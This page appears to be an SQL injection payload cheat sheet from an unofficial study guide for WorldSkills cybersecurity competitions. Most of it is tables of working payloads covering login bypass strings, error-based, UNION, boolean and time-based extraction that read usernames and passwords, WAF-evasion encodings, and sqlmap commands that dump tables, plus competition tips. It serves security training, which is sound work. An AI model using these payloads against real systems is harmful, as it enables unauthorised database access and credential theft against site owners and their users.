Skip to content

SQL Injection Payloads Cheat Sheet

Reviewed 2026-10-29

Quick reference for common SQL injection payloads. For detailed explanations, see SQL Injection.


PayloadDatabaseNotes
admin' --AllComment out password check
admin' #MySQLMySQL comment syntax
' OR 1=1--AllClassic bypass
' OR '1'='1AllAlternative true condition
admin'/*AllBlock comment
' OR 1=1 LIMIT 1--MySQL/PostgreSQLLimit to first row
') OR ('1'='1AllBypass parentheses

DatabasePayloadExtracts
MySQL' AND extractvalue(1, concat(0x7e, version()))--Version
MySQL' AND extractvalue(1, concat(0x7e, database()))--Current DB
MySQL' AND extractvalue(1, concat(0x7e, user()))--Current user
PostgreSQL' AND 1=cast(version() as int)--Version
MSSQL' AND 1=convert(int,@@version)--Version

StepPayload
Find column count' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (increment until error)
Find injectable columns' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
(match column count)
Extract database names' UNION SELECT schema_name FROM information_schema.schemata--
Extract table names' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='DB'--
Extract column names' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
Extract data' UNION SELECT username,password FROM users--

DatabaseTrue ConditionFalse Condition
MySQL' AND 1=1--' AND 1=2--
PostgreSQL' AND 1=1--' AND 1=2--
MSSQL' AND 1=1--' AND 1=2--
DatabasePayload
MySQL' AND SLEEP(5)--
PostgreSQL' AND pg_sleep(5)--
MSSQL'; WAITFOR DELAY '00:00:05'--
Oracle' AND dbms_lock.sleep(5)--
DatabasePayloadPurpose
MySQL' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--Check if 1st char is ‘a’
PostgreSQL' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)='a'--Same
MSSQL' AND SUBSTRING((SELECT TOP 1 password FROM users),1,1)='a'--Same

PayloadDatabaseResponse
' AND 'a'='aAllTrue if vulnerable
@@versionMySQL, MSSQLReturns version
version()PostgreSQL, MySQLReturns version
SELECT banner FROM v$versionOracleReturns version
' AND SLEEP(1)--MySQLDelays response
' AND pg_sleep(1)--PostgreSQLDelays response

TechniqueExample
Case variationUnIoN SeLeCt
Comment insertionUN/**/ION SE/**/LECT
Whitespace alternativesUNION%0ASELECT (newline)
UNION%09SELECT (tab)
Double encoding%2527%20OR%2520
Inline commentsUN/*comment*/ION

TaskCommand
Basic scansqlmap -u "http://target.com/page?id=1"
POST datasqlmap -u "http://target.com/login" --data="user=admin&pass=test"
List databasessqlmap -u "URL" --dbs
List tablessqlmap -u "URL" -D dbname --tables
Dump tablesqlmap -u "URL" -D dbname -T users --dump
Time-based onlysqlmap -u "URL" --technique=T
Increase risk/levelsqlmap -u "URL" --level=5 --risk=3

  • Always try manual payloads first before using sqlmap
  • Screenshot the URL with payload visible for evidence
  • If WAF blocks you, try 3-4 bypass techniques then move on (max 10 minutes)
  • Boolean blind extraction is slow - only use if no other method works
  • Document your database fingerprinting in write-up

Unofficial study guide, not endorsed by WorldSkills International or WorldSkills UK. Topics are example areas to prepare for, not the content of any test project: competition tasks are confidential, competitions are closed book, and formats change between competitions. More about this site.